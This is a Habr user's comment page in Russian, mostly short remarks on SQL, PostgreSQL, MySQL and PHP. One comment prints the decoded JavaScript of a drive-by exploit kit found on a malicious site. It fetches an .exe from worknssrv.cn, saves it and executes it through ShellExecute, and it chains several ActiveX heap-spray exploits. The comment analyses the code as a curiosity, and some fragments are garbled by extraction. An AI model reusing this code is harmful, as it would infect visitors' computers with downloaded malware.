Pull to refresh
54
0
galaxy @galaxy

User

Send message
Таблицы, наверняка, MyISAM были — какие транзакции?
За что ж этому бедному слову так достается-то? То у одного что-то там «инкаплусируется», то вот у другого нарушение «инкапусляции»… Инкапсуляция она — словом «капсула» хотя бы проверяйте.
«Блуждающий» — это который c-кварк? Он обычно как «очарованный переводится (от англ. charm)
Да ну, с увеличением 200х микробов не разглядишь
мне тут попались 3850 и 3650 под AGP, сам удивился
взял 3850 :)
Ну да, что-то типа:
select g1.price, g1.product 
  from goods g1 
  join goods g2 on (g1.price <= g2.price) 
 group by g1.price, g1.product 
having count(1) <= 5


Только все это как-то не очень прокатывает, если в таблице есть одинаковые цены. Может и это обходится, с утра плохо соображается, если судить по моему первому ответу…
Ну-ка, ну-ка, и как же? Только, справедливости ради, ко «всяким штукам вроде LIMIT» надо отнести и «FIRST 5»/«TOP 5», сеттинги типа rowcount, оракловый ROWNUM (не говоря уже об аналитике или MODEL) и сессионные переменные MySQL.
Дальнейшее расследование показало следующее: с User-Agent от IE (а, может, и не в User-Agent дело было, а просто ФФ лихо блокировал) скачивается страница со скриптом-дешифратором и зашифрованной строчкой, которая расшифруется в JS-код и eval'ится. Сам код:
var m=new Array();
			var mf=0;
			var url="http://worknssrv.cn/sp/load.php?id=124942";

			function hex(num,width){
				var digits="0123456789ABCDEF";
				var hex=digits.substr(num&0xF,1);
				while(num>0xF){
					num=num>>>4;
					hex=digits.substr(num&0xF,1)+hex;
				}
				var width=(width?width:0);
				while(hex.length>16)&0xFFFF,4));
			}

			function unes(str){
				var tmp="";
				for(var i=0;i<<16)+
						(str.charCodeAt(i+1)<<8)+
						str.charCodeAt(i));
				}
				return unescape(tmp);
			}

			function hav(){
				mf=mf;
				setTimeout("hav()",1000);
			}

			function gss(ss,sss){
				while(ss.length*2< 65535)padding += padding;
				memo = new Array();
				flush();
			}

			function flush(){
				delete memo["plunger"];
				CollectGarbage();
				memo["plunger"] = new Array();
				var bytes = new Array(32, 64, 256, 32768);
				for (var i = 0; i < 6; i++) {
					for(var n = 0; n < 4; n++) {
						var len = memo["plunger"].length;
						eval("memo[\"plunger\"][len] = padding.substr(0, (" + bytes[n] + "-6)/2);");
					}
				}
			}

			function alloc(arg, tag){
				var size;
				size = arg;
				if (size == 32 || size == 64 || size == 256 || size == 32768) {}
				if ( ! memo[tag] )memo[tag] = new Array();
				var len = memo[tag].length;
				memo[tag][len] = padding.substr(0, (arg-6)/2);
			}

			function alloc_str(arg, tag){
				var size;
				size = 4 + arg.length*2 + 2;
				if (size == 32 || size == 64 || size == 256 || size == 32768) {}
				if ( ! memo[tag])memo[tag] = new Array();
				var len = memo[tag].length;
				memo[tag][len] = arg.substr(0, arg.length);
			}

			function free(tag) { 
				delete memo[tag];
				CollectGarbage();
				flush();
			}

			function CreateO(o,n){
				var r=null;
				try{r=o.CreateObject(n)}catch(e){}
				if(!r){try{r=o.CreateObject(n,"")}catch(e){}}
				if(!r){try{r=o.CreateObject(n,"","")}catch(e){}}
				if(!r){try{r=o.GetObject("",n)}catch(e){}}
				if(!r){try{r=o.GetObject(n,"")}catch(e){}}
				if(!r){try{r=o.GetObject(n)}catch(e){}}
				return®;
			}

			function Go(a){
				var eurl=url+"&spl=2";
				var fname="wint80vubCfvErSJ.exe";
				var fso=a.CreateObject("Scripting.FileSystemObject","")
				var sap=CreateO(a,"Shell.Application");
				var x=CreateO(a,"ADODB.Stream");
				var nl=null;
				fname=fso.BuildPath(fso.GetSpecialFolder(2),fname);
				x.Mode=3;
				try{nl=CreateO(a,"Micr"+"osoft.XMLH"+"TTP");nl.open("GET",eurl,false);}
				catch(e){try{nl=CreateO(a,"MSXML2.XMLHTTP");nl.open("GET",eurl,false);}
				catch(e){try{nl=CreateO(a,"MSXML2.ServerXMLHTTP");nl.open("GET",eurl,false);}
				catch(e){try{nl=new XMLHttpRequest();nl.open("GET",eurl,false);}
				catch(e){return 0;}}}}
				x.Type=1;
				nl.send(null);
				rb=nl.responseBody;
				x.Open();
				x.Write(rb);
				x.SaveTofile(fname,2);
				sap.ShellExecute(fname);
				return 1;
			}

			function attack(s){
				var obj=null;

				if(s==1){
					var i=0;
					var target=new Array("BD96C556-65A3-11D0-983A-00C04FC29E36","BD96C556-65A3-11D0-983A-00C04FC29E30","AB9BCEDD-EC7E-47E1-9322-D4A210617116","0006F033-0000-0000-C000-000000000046","0006F03A-0000-0000-C000-000000000046","6e32070a-766d-4ee6-879c-dc1fa91d2fc3","6414512B-B978-451D-A0D8-FCFDF33E833C","7F5B7F63-F06F-4331-8A26-339E03C0AE3D","06723E09-F4C2-43c8-8358-09FCD1DB0766","639F725F-1B2D-4831-A9FD-874847682010","BA018599-1DB3-44f9-83B4-461454C84BF8","D0C07D56-7C69-43F1-B4A0-25F5A11FAB19","E8CCCDDF-CA28-496b-B050-6C07C962476B",null);
					while(target[i]){
						var a=null;
						a=document.createElement("object");
						a.setAttribute("classid","clsid:"+target[i]);
						if(a){try{var b=CreateO(a,"Shell.Application");if(b){Go(a);}}catch(e){}}
						i++;
					}
					setTimeout("attack(2)",4000);
					return 0;
				}

				if(s==2){
					try{
						obj=cobj("ShockwaveFlash.ShockwaveFlash.9");
						if(obj){
							ms("&spl=3");
							document.getElementById("a1").innerHTML = 
							'
';
							setTimeout("attack(3)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(3)",1);
					return 0;
				}
			
				if(s==3){
					try{
						obj=cobj("WebViewFolderIcon.WebViewFolderIcon.1");
						if(obj){
							ms("&spl=4");
							for(var i=0;i<128;i++){
								var wvfio=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");
								try{wvfio.setSlice(0x7ffffffe,0,0,202116108);}catch(e){}
								var wvfit=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");
							}
							setTimeout("attack(4)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(4)",1);
					return 0;
				}

				if(s==4){
					try{
						obj=cobj("{EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F}");
						if(obj){
							ms("&spl=5");
							z=Math.ceil(0x0c0c0c0c);
							z=document.scripts[0].createControlRange().length;
							setTimeout("attack(5)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(5)",1);
					return 0;
				}

				if(s==5){
					try{
						var obj=cobj("{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}");
						if(obj){
							ms("&spl=7");
							var num = 202116108;
							obj.WksPictureInterface = num;
							setTimeout("attack(6)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(6)",1);
					return 0;
				}

				if(s==6){
					try{
						var obj=cobj("{0A5FD7C5-A45C-49FC-ADB5-9952547D5715}");
						if(obj){
							ms("&spl=8");
							var buf = addr(0x0c0c0c0c);
							while (buf.length < 512) buf += buf;
							obj.cachefolder = buf;
							setTimeout("attack(7)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(7)",1);
					return 0;
				}

				if(s==7){
					try{
						obj=cobj("{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}");
						if(obj){
							ms("&spl=9");
							var buf = "";
							while (buf.length < 5000) buf += "\x0c\x0c\x0c\x0c";
							obj.SetFormatLikeSample(buf);
							setTimeout("attack(8)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(8)",1);
					return 0;
				}

				if(s==8){
					try{
						obj=cobj("{F917534D-535B-416B-8E8F-0C04756C31A8}");
						if(obj){
							ms("&spl=10");
							var buf = "";
							while (buf.length < 600) buf += "\x0c\x0c\x0c\x0c";
							obj.IEStartNative(buf);
							setTimeout("attack(9)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(9)",1);
					return 0;
				}

				if(s==9){
					try{
						obj=cobj("DirectAnimation.PathControl");
						if(obj){
							ms("&spl=6");
							init();
							var jmpecx = 0x0c0c0c0c;
							var vtable = addr(0x7ceb9090);
							for (var i = 0; i < 124/4; i++)vtable += addr(jmpecx);
							vtable += padding.substr(0, (1008-138)/2);
							var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
							var fakeObjChunk = padding.substr(0, (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
							CollectGarbage();
							flush();
							for (var i = 0; i < 100; i++)alloc_str(vtable);
							alloc_str(vtable, "lookaside");
							free("lookaside");
							for (var i = 0; i < 100; i++)alloc(0x2010);
							for (var i = 0; i < 2; i++) {
								alloc_str(fakeObjChunk);
								alloc_str(fakeObjChunk, "freeList");
							}
							alloc_str(fakeObjChunk);
							free("freeList");
							obj.KeyFrame(0x40000801, new Array(1), new Array(1));
							setTimeout("attack(10)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(10)",1);
					return 0;
				}
				if(s==10){
					window.location = "about:blank";
					return 0;
				}
			}
			attack(1);




Тут уже атака по всем фронтам ActiveX со скачиванием всякой исполняемой фигни с качать_не_стоит/worknssrv.cn/sp/load.php? id=124942&spl=num (num от 1 до 9)
Подробнее копаться заломало, да и так все понятно в общем-то
Хм, на страницу worknssrv.cn/sp/index.php Firefox выдает пугающий красный варнинг «Reported Attack Site!». Сама страница присылает (кроме хедеров) контент длиной в 20 байт следующего содержания: 1F8B080000000000000303000000000000000000. Гугление вывело на сайт Symantec http://safeweb.norton.com/report/show? name=worknssrv.cn, говорящий, что это HTTP MSIE COM Object Memory Corruption. Правда ссылка на подробности о заразе ведет куда-то не туда…
Вообще XSS — это скорее про то, как ВЫводить данные…
Лучше вообще юзать bind-параметры
Извиняюсь за поздний комментарий. Комбинировать можно так называемые bitmap индексы, погуглите про них в oracle. Postgres хотя и не имеет настоящих bitmap-индексов, умеет делать bitmap-сканы — www.postgresql.org/docs/8.3/static/indexes-bitmap-scans.html
Не все СУБД умеют комбинировать индексы, к тому же часто скан одного из индексов с фильтром по второму условию кажется оптимизатору более предпочтительным
Я че-то тоже не врубился… Автор, кстати, пробовал вообще в PHP писать 'umax'=>4294967295, не говоря уже про 'max'=>9223372036854775807?
Ну если до 2038 у Вашего приложения дожить перспектив нет, то можно и unix timestamp'ами даты хранить. Вообще же единственные достоинтсва такого способа — экономия места и простота ввода-вывода из базы/в базу (не надо думать про локали, timezone'ы и прочее). Из недостатков — узкий диапазон дат, секундное разрешение (да, у DATETIME в MySQL оно тоже секундное; в других DBMS это может быть и по-другому, как, например, как в PostgreSQL), неудобство работы с датами (типа: составить отчет на понедельник второй недели марта).
Вообще, конечно, очень не хватает связки с областями/регионами...
Че-то по ссылкам на минимизаторы 404...
Вот уж неправда. Во-первых, если два одинаковых запроса идут НЕ в одной транзакции с уровнем изоляции SERIALIZABLE, то перечитывать придется, т.к. новые записи могли появится за это время. Во-вторых, представьте себе оверхед от кеширования результатов запросов; постгрес этим не занимается. Возможно, вы путаете с кешированием часто запрашиваемых страниц.
А чем это собственно лучше/хуже tsearch модуля в том же Postgres?
12 ...
33

Information

Rating
Does not participate
Location
Россия
Registered
Activity